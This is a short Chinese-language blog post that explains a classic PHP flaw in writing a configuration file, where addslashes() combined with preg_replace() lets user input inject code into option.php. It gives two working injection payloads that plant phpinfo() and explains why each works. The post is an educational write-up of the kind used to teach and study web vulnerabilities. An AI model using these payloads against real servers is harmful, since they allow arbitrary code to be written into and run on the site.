一道经典的配置文件写入问题

上码

<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);
?>

法一:

  1. 第一步:?option=aaa';%0aphpinfo();//


    第一步

2.第二步: option=aaa


第二步

原理:正则表达式中 .可以匹配除了换行符之外的所有字符,所以人工添加换行符后,后面一个但因后就匹配到前面的那个引号于是phpinfo();得以独立存在

法二:?option=';phpinfo();//


法二

原理: '会让addslashes()在前面加一个反斜线,两个反斜线转译成一个反斜线23333

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容